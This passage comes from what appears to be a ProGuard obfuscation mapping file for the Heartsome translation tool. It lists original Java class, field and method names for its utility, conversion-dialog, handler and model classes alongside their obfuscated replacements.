isSameWeekDates(java.util.Date,java.util.Date) -> isSameWeekDates + java.lang.String getSeqWeek() -> getSeqWeek + java.lang.String getWeek(java.lang.String,java.lang.String) -> getWeek + java.lang.String getWeek(java.lang.String) -> getWeek + java.lang.String getWeekStr(java.lang.String) -> getWeekStr + long getDays(java.lang.String,java.lang.String) -> getDays + java.lang.String getNowMonth(java.lang.String) -> getNowMonth + java.lang.String getNo(int) -> getNo + java.lang.String getRandom(int) -> getRandom + boolean RightDate(java.lang.String) -> RightDate + int getdaysslice(java.lang.String,java.lang.String) -> getdaysslice + java.lang.String formatToYYYYMMDD(java.lang.String,java.lang.String) -> formatToYYYYMMDD + java.sql.Timestamp getTimestampFromUTC(java.lang.String) -> getTimestampFromUTC + java.util.Date getDateFromUTC(java.lang.String) -> getDateFromUTC + java.lang.String formatToUTC(long) -> formatToUTC + java.lang.String formatLongTime(long,java.lang.String) -> formatLongTime + java.lang.String formatDateFromUTC(java.lang.String) -> formatDateFromUTC + void main(java.lang.String[]) -> main +net.heartsome.cat.common.util.FileEncodingDetector -> net.heartsome.cat.common.util.FileEncodingDetector: + java.lang.String detectFileEncoding(java.io.File) -> detectFileEncoding +net.heartsome.cat.common.util.InnerTagClearUtil -> net.heartsome.cat.common.util.InnerTagClearUtil: + java.util.regex.Pattern XLIFF_CLEAR_PATTERN -> iV + java.util.regex.Pattern TMX_CLEAR_PATTERN -> uK + java.lang.String clearXliffTag4Tmx(java.lang.String) -> clearXliffTag4Tmx + java.lang.String clearTmx4Xliff(java.lang.String) -> clearTmx4Xliff +net.heartsome.cat.common.util.TextUtil -> net.heartsome.cat.common.util.TextUtil: + org.slf4j.Logger LOGGER -> LOGGER + java.util.Hashtable ISOLang -> bX + java.util.Hashtable countries -> bY + java.util.Hashtable descriptions -> bZ + java.util.Hashtable isBidi -> ca + java.lang.String _SPACE -> KO + java.lang.String hexString -> hexString + java.lang.String cleanString(java.lang.String) -> cleanString + java.lang.String validChars(java.lang.String) -> validChars + java.lang.String normalise(java.lang.String,boolean) -> normalise + java.lang.String normalise(java.lang.String) -> normalise + java.lang.String cleanSpecialString(java.lang.String) -> cleanSpecialString + java.lang.String resetSpecialString(java.lang.String) -> resetSpecialString + java.lang.String getISO639(java.lang.String,java.lang.String) -> getISO639 + void loadISOLang(java.lang.String) -> b + java.lang.String getCountryName(java.lang.String) -> getCountryName + void loadCountries() -> o + byte[] readBytesFromIS(java.io.InputStream) -> readBytesFromIS + java.lang.String getLanguageCode(java.lang.String) -> getLanguageCode + void loadLanguages() -> p + java.lang.String getLanguageName(java.lang.String) -> getLanguageName + int indexOf(java.lang.String,java.lang.String,int,boolean) -> indexOf + java.lang.String cleanStringByLikeWithMysql(java.lang.String) -> cleanStringByLikeWithMysql + java.lang.String cleanStringByLikeWithOracle(java.lang.String) -> cleanStringByLikeWithOracle + java.lang.String cleanStringByLikeWithMsSql(java.lang.String) -> cleanStringByLikeWithMsSql + java.lang.String cleanStringByLikeWithPostgreSql(java.lang.String) -> cleanStringByLikeWithPostgreSql + java.lang.String cleanStringByLikeWithHSQL(java.lang.String) -> cleanStringByLikeWithHSQL + java.lang.String replaceRegextSql(java.lang.String) -> replaceRegextSql + java.lang.String replaceRegextSqlWithMOP(java.lang.String) -> replaceRegextSqlWithMOP + java.lang.String replaceRegextSqlWithHSQL(java.lang.String) -> replaceRegextSqlWithHSQL + java.lang.String normLanguage(java.lang.String) -> normLanguage + java.lang.String xmlToString(java.lang.String) -> xmlToString + java.lang.String stringToXML(java.lang.String) -> stringToXML + java.util.Hashtable plugin_loadLanguages() -> plugin_loadLanguages + java.util.Hashtable plugin_loadCoutries() -> plugin_loadCoutries + void getLanguages(java.lang.String,java.util.Hashtable) -> a + java.lang.String toSBC(java.lang.String) -> toSBC + java.lang.String toDBC(java.lang.String) -> toDBC + java.lang.String encodeHexString(java.lang.String) -> encodeHexString + java.lang.String decodeHexString(java.lang.String) -> decodeHexString +net.heartsome.cat.common.util.UnicodeConverter -> net.heartsome.cat.common.util.UnicodeConverter: + java.lang.String convert(java.lang.String) -> convert + java.lang.String revert(java.lang.String) -> revert + void main(java.lang.String[]) -> main +net.heartsome.cat.convert.extenstion.IExecutePretranslation -> net.heartsome.cat.convert.extenstion.IExecutePretranslation: + void executePreTranslation(java.util.List) -> executePreTranslation +net.heartsome.cat.convert.ui.Activator -> net.heartsome.cat.convert.ui.Activator: + java.lang.String CONVERSION_DEBUG_ON -> CONVERSION_DEBUG_ON + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.convert.ui.Activator plugin -> cc + org.osgi.framework.BundleContext context -> context + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.convert.ui.Activator getDefault() -> getDefault + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor + org.osgi.framework.BundleContext getContext() -> getContext +net.heartsome.cat.convert.ui.ImplementationLoader -> net.heartsome.cat.convert.ui.ImplementationLoader: + java.lang.Object newInstance(java.lang.Class) -> newInstance +net.heartsome.cat.convert.ui.action.ConversionCompleteAction -> net.heartsome.cat.convert.ui.action.a: + org.eclipse.core.runtime.IStatus status -> cd + java.util.Map conversionResult -> ce + void run() -> run +net.heartsome.cat.convert.ui.command.ConverterCommandTrigger -> net.heartsome.cat.convert.ui.command.ConverterCommandTrigger: + org.slf4j.Logger LOGGER -> LOGGER + void openConversionDialog(org.eclipse.ui.IWorkbenchWindow,org.eclipse.core.resources.IFile) -> openConversionDialog + void openReverseConversionDialog(org.eclipse.ui.IWorkbenchWindow,org.eclipse.core.resources.IFile) -> openReverseConversionDialog + void openDialog(org.eclipse.ui.IWorkbenchWindow,org.eclipse.core.resources.IFile,java.lang.String) -> a +net.heartsome.cat.convert.ui.dialog.ConfigConversionDialog -> net.heartsome.cat.convert.ui.dialog.a: + net.heartsome.cat.convert.ui.model.ConverterViewModel converterViewModel -> cf + org.eclipse.jface.viewers.ComboViewer supportList -> cg + org.eclipse.swt.widgets.Button okButton -> okButton + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.jface.viewers.ComboViewer createConvertControl(java.lang.String,org.eclipse.swt.widgets.Composite) -> a + void bindValue() -> q + org.eclipse.swt.widgets.Button access$0(net.heartsome.cat.convert.ui.dialog.ConfigConversionDialog) -> a +net.heartsome.cat.convert.ui.dialog.ConfigConversionDialog$1 -> net.heartsome.cat.convert.ui.dialog.b: + net.heartsome.cat.convert.ui.dialog.ConfigConversionDialog this$0 -> ch + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.convert.ui.dialog.FileConversionItemDialog -> net.heartsome.cat.convert.ui.dialog.c: + org.eclipse.swt.widgets.FileDialog fileDialog -> ci + net.heartsome.cat.convert.ui.model.IConversionItem conversionItem -> conversionItem + int open() -> open + net.heartsome.cat.convert.ui.model.IConversionItem getConversionItem() -> getConversionItem +net.heartsome.cat.convert.ui.dialog.FileDialogFactoryFacade -> net.heartsome.cat.convert.ui.dialog.FileDialogFactoryFacade: + net.heartsome.cat.convert.ui.dialog.FileDialogFactoryFacade IMPL -> cj + net.heartsome.cat.convert.ui.dialog.IConversionItemDialog createFileDialog(org.eclipse.swt.widgets.Shell,int) -> a + net.heartsome.cat.convert.ui.dialog.IConversionItemDialog createWorkspaceDialog(org.eclipse.swt.widgets.Shell,int) -> b + net.heartsome.cat.convert.ui.dialog.IConversionItemDialog createFileDialogInternal(org.eclipse.swt.widgets.Shell,int) -> c + net.heartsome.cat.convert.ui.dialog.IConversionItemDialog createWorkspaceDialogInternal(org.eclipse.swt.widgets.Shell,int) -> d +net.heartsome.cat.convert.ui.dialog.FileDialogFactoryFacadeImpl -> net.heartsome.cat.convert.ui.dialog.FileDialogFactoryFacadeImpl: + net.heartsome.cat.convert.ui.dialog.IConversionItemDialog createFileDialogInternal(org.eclipse.swt.widgets.Shell,int) -> c + net.heartsome.cat.convert.ui.dialog.IConversionItemDialog createWorkspaceDialogInternal(org.eclipse.swt.widgets.Shell,int) -> d +net.heartsome.cat.convert.ui.dialog.IConversionItemDialog -> net.heartsome.cat.convert.ui.dialog.d: + int open() -> open + net.heartsome.cat.convert.ui.model.IConversionItem getConversionItem() -> getConversionItem +net.heartsome.cat.convert.ui.dialog.LocationPageContentProvider -> net.heartsome.cat.convert.ui.dialog.e: + boolean showClosedProjects -> ck + java.lang.Object[] getChildren(java.lang.Object) -> getChildren +net.heartsome.cat.convert.ui.dialog.WorkspaceConversionItemDialog -> net.heartsome.cat.convert.ui.dialog.f: + net.heartsome.cat.convert.ui.dialog.WorkspaceDialog worksapceDialog -> cl + net.heartsome.cat.convert.ui.model.IConversionItem conversionItem -> conversionItem + int open() -> open + net.heartsome.cat.convert.ui.model.IConversionItem getConversionItem() -> getConversionItem +net.heartsome.cat.convert.ui.dialog.WorkspaceDialog -> net.heartsome.cat.convert.ui.dialog.g: + org.eclipse.core.resources.IFile workspaceFile -> cm + org.eclipse.jface.viewers.TreeViewer wsTreeViewer -> cn + org.eclipse.swt.widgets.Text wsFilenameText -> co + org.eclipse.core.resources.IContainer wsContainer -> cp + org.eclipse.swt.widgets.Button okButton -> okButton + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void okPressed() -> okPressed + void getSelectedContainer() -> r + void cancelPressed() -> cancelPressed + boolean close() -> close + void setupListeners() -> s + org.eclipse.core.resources.IFile getSelectedFile() -> t + void access$0(net.heartsome.cat.convert.ui.dialog.WorkspaceDialog,org.eclipse.core.resources.IContainer) -> a + org.eclipse.swt.widgets.Text access$1(net.heartsome.cat.convert.ui.dialog.WorkspaceDialog) -> a + org.eclipse.jface.viewers.TreeViewer access$2(net.heartsome.cat.convert.ui.dialog.WorkspaceDialog) -> b + org.eclipse.swt.widgets.Button access$3(net.heartsome.cat.convert.ui.dialog.WorkspaceDialog) -> c +net.heartsome.cat.convert.ui.dialog.WorkspaceDialog$1 -> net.heartsome.cat.convert.ui.dialog.h: + net.heartsome.cat.convert.ui.dialog.WorkspaceDialog this$0 -> cq + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.convert.ui.dialog.WorkspaceDialog$2 -> net.heartsome.cat.convert.ui.dialog.i: + net.heartsome.cat.convert.ui.dialog.WorkspaceDialog this$0 -> cq + void doubleClick(org.eclipse.jface.viewers.DoubleClickEvent) -> doubleClick +net.heartsome.cat.convert.ui.dialog.WorkspaceDialog$3 -> net.heartsome.cat.convert.ui.dialog.j: + net.heartsome.cat.convert.ui.dialog.WorkspaceDialog this$0 -> cq + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.convert.ui.extension.IConverterCallerImpl -> net.heartsome.cat.convert.ui.extension.a: + org.slf4j.Logger LOGGER -> LOGGER + void openConverter(java.util.List) -> openConverter + java.lang.String[] getLegalFileExtensions() -> getLegalFileExtensions + org.slf4j.Logger access$0() -> access$0 +net.heartsome.cat.convert.ui.extension.IConverterCallerImpl$1 -> net.heartsome.cat.convert.ui.extension.b: + net.heartsome.cat.convert.ui.extension.IConverterCallerImpl this$0 -> cr + java.util.List val$models -> cs + org.eclipse.swt.widgets.Shell val$shell -> ct + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.convert.ui.extension.IConverterCallerImpl$1$1 -> net.heartsome.cat.convert.ui.extension.c: + net.heartsome.cat.convert.ui.extension.IConverterCallerImpl$1 this$1 -> cu + org.eclipse.swt.widgets.Shell val$shell -> ct + java.lang.String val$message -> cv + void run() -> run +net.heartsome.cat.convert.ui.extension.IConverterCallerImpl$1$2 -> net.heartsome.cat.convert.ui.extension.d: + net.heartsome.cat.convert.ui.extension.IConverterCallerImpl$1 this$1 -> cu + org.eclipse.swt.widgets.Shell val$shell -> ct + java.lang.String val$message -> cv + void run() -> run +net.heartsome.cat.convert.ui.handler.ConversionHandler -> net.heartsome.cat.convert.ui.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.convert.ui.handler.OpenConversionDialogHandler -> net.heartsome.cat.convert.ui.handler.b: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent,java.util.List) -> execute + java.lang.String[] getLegalFileExtensions() -> getLegalFileExtensions + org.eclipse.swt.widgets.Shell access$0(net.heartsome.cat.convert.ui.handler.OpenConversionDialogHandler) -> a +net.heartsome.cat.convert.ui.handler.OpenConversionDialogHandler$1 -> net.heartsome.cat.convert.ui.handler.c: + net.heartsome.cat.convert.ui.handler.OpenConversionDialogHandler this$0 -> cw + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar +net.heartsome.cat.convert.ui.handler.OpenConversionDialogHandler$2 -> net.heartsome.cat.convert.ui.handler.f: + net.heartsome.cat.convert.ui.handler.OpenConversionDialogHandler this$0 -> cw + java.util.List val$models -> cs + java.util.List val$targetFiles -> tr + void run(org.eclipse.core.runtime.IProgressMonitor) -> run + net.heartsome.cat.convert.ui.handler.OpenConversionDialogHandler access$0(net.heartsome.cat.convert.ui.handler.OpenConversionDialogHandler$2) -> a +net.heartsome.cat.convert.ui.handler.OpenConversionDialogHandler$2$1 -> net.heartsome.cat.convert.ui.handler.d: + net.heartsome.cat.convert.ui.handler.OpenConversionDialogHandler$2 this$1 -> ts + java.util.List val$targetFiles -> tr + void run() -> run +net.heartsome.cat.convert.ui.handler.OpenConversionDialogHandler$2$2 -> net.heartsome.cat.convert.ui.handler.e: + net.heartsome.cat.convert.ui.handler.OpenConversionDialogHandler$2 this$1 -> ts + java.lang.String val$message -> cv + void run() -> run +net.heartsome.cat.convert.ui.handler.OpenConversionDialogHandler$2$3 -> net.heartsome.cat.convert.ui.handler.o: + net.heartsome.cat.convert.ui.handler.OpenConversionDialogHandler$2 this$1 -> ts + java.lang.String val$message -> cv + void run() -> run +net.heartsome.cat.convert.ui.handler.OpenConversionDialogHandler$3 -> net.heartsome.cat.convert.ui.handler.m: + net.heartsome.cat.convert.ui.handler.OpenConversionDialogHandler this$0 -> cw + net.heartsome.cat.convert.extenstion.IExecutePretranslation[] val$impls -> xQ + java.lang.Object val$o -> cA + void handleException(java.lang.Throwable) -> handleException + void run() -> run +net.heartsome.cat.convert.ui.handler.OpenReverseConversionDialogHandler -> net.heartsome.cat.convert.ui.handler.g: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent,java.util.List) -> execute + java.lang.String[] getLegalFileExtensions() -> getLegalFileExtensions +net.heartsome.cat.convert.ui.handler.OpenReverseConversionDialogHandler$1 -> net.heartsome.cat.convert.ui.handler.h: + net.heartsome.cat.convert.ui.handler.OpenReverseConversionDialogHandler this$0 -> cB + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar +net.heartsome.cat.convert.ui.handler.OpenReverseConversionDialogHandler$2 -> net.heartsome.cat.convert.ui.handler.n: + net.heartsome.cat.convert.ui.handler.OpenReverseConversionDialogHandler this$0 -> cB + java.util.List val$models -> cs + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.convert.ui.handler.PreviewTranslationHandler -> net.heartsome.cat.convert.ui.handler.i: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.core.resources.IWorkspaceRoot root -> root + org.eclipse.swt.widgets.Shell shell -> shell + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + void previewFiles(java.util.List) -> a + void preview(org.eclipse.core.resources.IFile,org.eclipse.core.runtime.IProgressMonitor) -> a + net.heartsome.cat.convert.ui.model.ConverterViewModel getConverterViewModel(org.eclipse.core.resources.IFile) -> b + void access$0(net.heartsome.cat.convert.ui.handler.PreviewTranslationHandler,org.eclipse.core.resources.IFile,org.eclipse.core.runtime.IProgressMonitor) -> a + org.eclipse.swt.widgets.Shell access$1(net.heartsome.cat.convert.ui.handler.PreviewTranslationHandler) -> a + org.slf4j.Logger access$2() -> u +net.heartsome.cat.convert.ui.handler.PreviewTranslationHandler$1 -> net.heartsome.cat.convert.ui.handler.j: + net.heartsome.cat.convert.ui.handler.PreviewTranslationHandler this$0 -> cC + java.util.List val$files -> cD + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.convert.ui.handler.PreviewTranslationHandler$2 -> net.heartsome.cat.convert.ui.handler.k: + net.heartsome.cat.convert.ui.handler.PreviewTranslationHandler this$0 -> cC + org.eclipse.core.resources.IFile val$input -> cE + void run() -> run +net.heartsome.cat.convert.ui.handler.PreviewTranslationHandler$3 -> net.heartsome.cat.convert.ui.handler.l: + net.heartsome.cat.convert.ui.handler.PreviewTranslationHandler this$0 -> cC + org.eclipse.core.runtime.IStatus val$status -> cF + void run() -> run +net.heartsome.cat.convert.ui.job.JobFactoryFacade -> net.heartsome.cat.convert.ui.job.a: + net.heartsome.cat.convert.ui.job.JobFactoryFacade IMPL -> cG + org.eclipse.core.runtime.jobs.Job createJob(org.eclipse.swt.widgets.Display,java.lang.String,net.heartsome.cat.convert.ui.job.JobRunnable) -> a + org.eclipse.core.runtime.jobs.Job createJobInternal(org.eclipse.swt.widgets.Display,java.lang.String,net.heartsome.cat.convert.ui.job.JobRunnable) -> b +net.heartsome.cat.convert.ui.job.JobFactoryFacadeImpl -> net.heartsome.cat.convert.ui.job.b: + org.eclipse.core.runtime.jobs.Job createJobInternal(org.eclipse.swt.widgets.Display,java.lang.String,net.heartsome.cat.convert.ui.job.JobRunnable) -> b +net.heartsome.cat.convert.ui.job.JobFactoryFacadeImpl$1 -> net.heartsome.cat.convert.ui.job.c: + org.eclipse.core.runtime.IStatus result -> result + net.heartsome.cat.convert.ui.job.JobFactoryFacadeImpl this$0 -> cH + net.heartsome.cat.convert.ui.job.JobRunnable val$runnable -> cI + org.eclipse.swt.widgets.Display val$display -> cJ + org.eclipse.core.runtime.IStatus runInWorkspace(org.eclipse.core.runtime.IProgressMonitor) -> runInWorkspace + boolean isModal(org.eclipse.core.runtime.jobs.Job) -> a +net.heartsome.cat.convert.ui.job.JobFactoryFacadeImpl$1$1 -> net.heartsome.cat.convert.ui.job.d: + net.heartsome.cat.convert.ui.job.JobFactoryFacadeImpl$1 this$1 -> cK + net.heartsome.cat.convert.ui.job.JobRunnable val$runnable -> cI + void run() -> run +net.heartsome.cat.convert.ui.job.JobRunnable -> net.heartsome.cat.convert.ui.job.e: + org.eclipse.core.runtime.IStatus run(org.eclipse.core.runtime.IProgressMonitor) -> run + void showResults(org.eclipse.core.runtime.IStatus) -> showResults + org.eclipse.jface.action.IAction getRunnableCompletedAction(org.eclipse.core.runtime.IStatus) -> getRunnableCompletedAction +net.heartsome.cat.convert.ui.model.ConversionConfigBean -> net.heartsome.cat.convert.ui.model.ConversionConfigBean: + java.lang.String index -> index + java.lang.String source -> source + java.lang.String target -> target + java.lang.String skeleton -> skeleton + java.lang.String xliffDir -> xliffDir + java.lang.String srcLang -> srcLang + java.lang.String srcEncoding -> srcEncoding + java.lang.String targetEncoding -> targetEncoding + boolean segByElement -> segByElement + java.lang.String initSegmenter -> initSegmenter + boolean lockXtrans -> lockXtrans + boolean lock100 -> lock100 + boolean lock101 -> lock101 + boolean lockRepeated -> lockRepeated + boolean breakOnCRLF -> breakOnCRLF + boolean embedSkl -> embedSkl + boolean replaceTarget -> replaceTarget + boolean previewMode -> previewMode + java.util.List fileFormats -> fileFormats + java.util.List pageEncoding -> pageEncoding + java.util.List tgtLangList -> tgtLangList + java.util.List hasSelTgtLangList -> hasSelTgtLangList + java.lang.String fileType -> fileType + java.lang.String tmpXlfPath -> tmpXlfPath + java.lang.String getFileType() -> getFileType + void setFileType(java.lang.String) -> setFileType + java.util.List getPageEncoding() -> getPageEncoding + void setPageEncoding(java.util.List) -> setPageEncoding + boolean isEmbedSkl() -> isEmbedSkl + void setEmbedSkl(boolean) -> setEmbedSkl + java.lang.String getSource() -> getSource + void setSource(java.lang.String) -> setSource + java.lang.String getTarget() -> getTarget + void setTarget(java.lang.String) -> setTarget + java.lang.String getSkeleton() -> getSkeleton + void setSkeleton(java.lang.String) -> setSkeleton + java.lang.String getSrcLang() -> getSrcLang + void setSrcLang(java.lang.String) -> setSrcLang + java.util.List getTgtLangList() -> getTgtLangList + void setTgtLangList(java.util.List) -> setTgtLangList + java.util.List getHasSelTgtLangList() -> getHasSelTgtLangList + void setHasSelTgtLangList(java.util.List) -> setHasSelTgtLangList + java.lang.String getSrcEncoding() -> getSrcEncoding + void setSrcEncoding(java.lang.String) -> setSrcEncoding + boolean isSegByElement() -> isSegByElement + void setSegByElement(boolean) -> setSegByElement + java.lang.String getInitSegmenter() -> getInitSegmenter + void setInitSegmenter(java.lang.String) -> setInitSegmenter + boolean isLockXtrans() -> isLockXtrans + void setLockXtrans(boolean) -> setLockXtrans + boolean isLock100() -> isLock100 + void setLock100(boolean) -> setLock100 + boolean isLock101() -> isLock101 + void setLock101(boolean) -> setLock101 + boolean isLockRepeated() -> isLockRepeated + void setLockRepeated(boolean) -> setLockRepeated + boolean isBreakOnCRLF() -> isBreakOnCRLF + void setBreakOnCRLF(boolean) -> setBreakOnCRLF + void setTargetEncoding(java.lang.String) -> setTargetEncoding + java.lang.String getTargetEncoding() -> getTargetEncoding + java.lang.String getTmpXlfPath() -> getTmpXlfPath + void setTmpXlfPath(java.lang.String) -> setTmpXlfPath + java.lang.String toString() -> toString + java.util.List generateXlfFilePath() -> generateXlfFilePath + org.eclipse.core.runtime.IStatus validateConversion() -> validateConversion + org.eclipse.core.runtime.IStatus validateReverseConversion() -> validateReverseConversion + void setReplaceTarget(boolean) -> setReplaceTarget + boolean isReplaceTarget() -> isReplaceTarget + void setFileFormats(java.util.List) -> setFileFormats + java.util.List getFileFormats() -> getFileFormats + boolean isPreviewMode() -> isPreviewMode + void setPreviewMode(boolean) -> setPreviewMode + java.lang.String getIndex() -> getIndex + void setIndex(java.lang.String) -> setIndex + java.lang.String getXliffDir() -> getXliffDir + void setXliffDir(java.lang.String) -> setXliffDir +net.heartsome.cat.convert.ui.model.ConversionValidateStrategy -> net.heartsome.cat.convert.ui.model.ConversionValidateStrategy: + org.eclipse.core.runtime.IStatus validate(java.lang.String,net.heartsome.cat.convert.ui.model.ConversionConfigBean,org.eclipse.core.runtime.IProgressMonitor) -> validate +net.heartsome.cat.convert.ui.model.ConverterContext -> net.heartsome.cat.convert.ui.model.ConverterContext: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String CONVERTER_ROOT_CONFIG_FOLDER_NAME -> cL + java.lang.String srxFolder -> srxFolder + java.lang.String fileSeparator -> fileSeparator + java.net.URL configurationLocation -> configurationLocation + java.lang.String configurationFolderForConverter -> cM + net.heartsome.cat.convert.ui.model.ConversionConfigBean configBean -> configBean + java.lang.String catalogue -> catalogue + java.lang.String defaultSrx -> defaultSrx + java.lang.String iniDir -> cN + java.util.Map getConvertConfiguration() -> getConvertConfiguration + java.util.Map getReverseConvertConfiguraion() -> getReverseConvertConfiguraion + java.util.Map getCommonConvertConfiguration(java.util.Map) -> b + void printConfigurationInfo(java.util.Map) -> c +net.heartsome.cat.convert.ui.model.ConverterNotFoundException -> net.heartsome.cat.convert.ui.model.ConverterNotFoundException: + long serialVersionUID -> serialVersionUID +net.heartsome.cat.convert.ui.model.ConverterUtil -> net.heartsome.cat.convert.ui.model.ConverterUtil: + java.lang.String PROPERTIES_NAME -> cO + java.lang.String PROPERTIES_SELECTED_TYPE -> cP + org.eclipse.core.resources.IWorkspaceRoot root -> root + void bindValue(org.eclipse.core.databinding.DataBindingContext,org.eclipse.jface.viewers.ComboViewer,net.heartsome.cat.convert.ui.model.ConverterViewModel) -> bindValue + boolean isWorkspacePath(java.lang.String) -> c + java.lang.String toLocalPath(java.lang.String) -> toLocalPath + java.io.File toLocalFile(java.lang.String) -> toLocalFile + org.eclipse.core.resources.IFile localPath2IFile(java.lang.String) -> localPath2IFile +net.heartsome.cat.convert.ui.model.ConverterViewModel -> net.heartsome.cat.convert.ui.model.ConverterViewModel: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.convert.ui.model.ConversionConfigBean configBean -> configBean + net.heartsome.cat.convert.ui.model.IConversionItem conversionItem -> conversionItem + java.util.List generateTgtFileList -> generateTgtFileList + net.heartsome.cat.convert.ui.model.ConversionConfigBean getConfigBean() -> getConfigBean + java.util.Map convert(java.util.Map) -> convert + java.util.Map convert() -> convert + java.util.Map convertWithoutJob(org.eclipse.core.runtime.IProgressMonitor) -> convertWithoutJob + java.util.Map convert(net.heartsome.cat.convert.ui.model.IConversionItem,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.util.List getGenerateTgtFileList() -> getGenerateTgtFileList + java.util.Map reverseConvert(net.heartsome.cat.convert.ui.model.IConversionItem,org.eclipse.core.runtime.IProgressMonitor) -> reverseConvert + org.eclipse.core.runtime.IStatus validate() -> validate + org.eclipse.core.runtime.IStatus validateReverseConversion() -> validateReverseConversion + org.eclipse.core.runtime.IStatus validateXliffFile(java.lang.String,net.heartsome.cat.ts.core.file.XLFHandler,org.eclipse.core.runtime.IProgressMonitor) -> validateXliffFile + org.eclipse.core.runtime.IStatus validateFileNodeInXliff(net.heartsome.cat.ts.core.file.XLFHandler,java.lang.String,java.lang.String) -> validateFileNodeInXliff + org.eclipse.core.runtime.IStatus validIsSplitedXliff(net.heartsome.cat.ts.core.file.XLFHandler,java.lang.String) -> validIsSplitedXliff + org.eclipse.core.runtime.IStatus validateOpenOfficeOrMSOffice2007(net.heartsome.cat.ts.core.file.XLFHandler,java.lang.String) -> validateOpenOfficeOrMSOffice2007 + org.eclipse.core.runtime.IStatus validateConversion() -> validateConversion + void setConversionItem(net.heartsome.cat.convert.ui.model.IConversionItem) -> setConversionItem + net.heartsome.cat.convert.ui.model.IConversionItem getConversionItem() -> getConversionItem + org.slf4j.Logger access$0() -> access$0 +net.heartsome.cat.convert.ui.model.ConverterViewModel$1 -> net.heartsome.cat.convert.ui.model.ConverterViewModel$1: + java.util.Map conversionResult -> ce + net.heartsome.cat.convert.ui.model.ConverterViewModel this$0 -> cQ + org.eclipse.core.runtime.IStatus run(org.eclipse.core.runtime.IProgressMonitor) -> run + void showResults(org.eclipse.core.runtime.IStatus) -> showResults + org.eclipse.jface.action.IAction getRunnableCompletedAction(org.eclipse.core.runtime.IStatus) -> getRunnableCompletedAction +net.heartsome.cat.convert.ui.model.ConverterViewModel$2 -> net.heartsome.cat.convert.ui.model.ConverterViewModel$2: + net.heartsome.cat.convert.ui.model.ConverterViewModel this$0 -> cQ + java.lang.String val$alert -> rX + void run() -> run +net.heartsome.cat.convert.ui.model.DefaultConversionItem -> net.heartsome.cat.convert.ui.model.DefaultConversionItem: + net.heartsome.cat.convert.ui.model.IConversionItem EMPTY_CONVERSION_ITEM -> EMPTY_CONVERSION_ITEM + org.eclipse.core.runtime.IPath path -> path + net.heartsome.cat.convert.ui.model.IConversionItem parent -> cR + void refresh() -> refresh + boolean contains(org.eclipse.core.runtime.jobs.ISchedulingRule) -> contains + boolean isConflicting(org.eclipse.core.runtime.jobs.ISchedulingRule) -> isConflicting + org.eclipse.core.runtime.IPath getLocation() -> getLocation + net.heartsome.cat.convert.ui.model.IConversionItem getParent() -> getParent + java.lang.String getName() -> getName + net.heartsome.cat.convert.ui.model.IConversionItem getProject() -> getProject +net.heartsome.cat.convert.ui.model.FileConversionItem -> net.heartsome.cat.convert.ui.model.FileConversionItem: + org.eclipse.core.resources.IResource resource -> resource + void refresh() -> refresh + boolean contains(org.eclipse.core.runtime.jobs.ISchedulingRule) -> contains + boolean isConflicting(org.eclipse.core.runtime.jobs.ISchedulingRule) -> isConflicting + net.heartsome.cat.convert.ui.model.IConversionItem getParent() -> getParent + net.heartsome.cat.convert.ui.model.IConversionItem getProject() -> getProject +net.heartsome.cat.convert.ui.model.FileConversionItemAdapterFactory -> net.heartsome.cat.convert.ui.model.FileConversionItemAdapterFactory: + java.lang.Object getAdapter(java.lang.Object,java.lang.Class) -> getAdapter + java.lang.Class[] getAdapterList() -> getAdapterList +net.heartsome.cat.convert.ui.model.IConversionItem -> net.heartsome.cat.convert.ui.model.IConversionItem: + void refresh() -> refresh + org.eclipse.core.runtime.IPath getLocation() -> getLocation + net.heartsome.cat.convert.ui.model.IConversionItem getParent() -> getParent + net.heartsome.cat.convert.ui.model.IConversionItem getProject() -> getProject + java.lang.String getName() -> getName +net.heartsome.cat.convert.ui.model.ReverseConversionValidateWithLibrary3 -> net.heartsome.cat.convert.ui.model.ReverseConversionValidateWithLibrary3: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.xml.SAXBuilder builder -> cS + net.heartsome.xml.Document doc -> cT + net.heartsome.xml.Element root -> cU + java.util.List segments -> cV + java.lang.String targetLanguage -> cW + java.lang.String dataType -> cX + java.lang.String skl -> cY + org.eclipse.core.runtime.IStatus validate(java.lang.String,net.heartsome.cat.convert.ui.model.ConversionConfigBean,org.eclipse.core.runtime.IProgressMonitor) -> validate + void readXliff(java.lang.String) -> d + void reBuildXlf(java.io.File) -> b + void reBuildXlf(java.lang.String,java.io.File) -> c + void createList(net.heartsome.xml.Element) -> a + java.lang.String getSkeleton(java.lang.String) -> getSkeleton + void 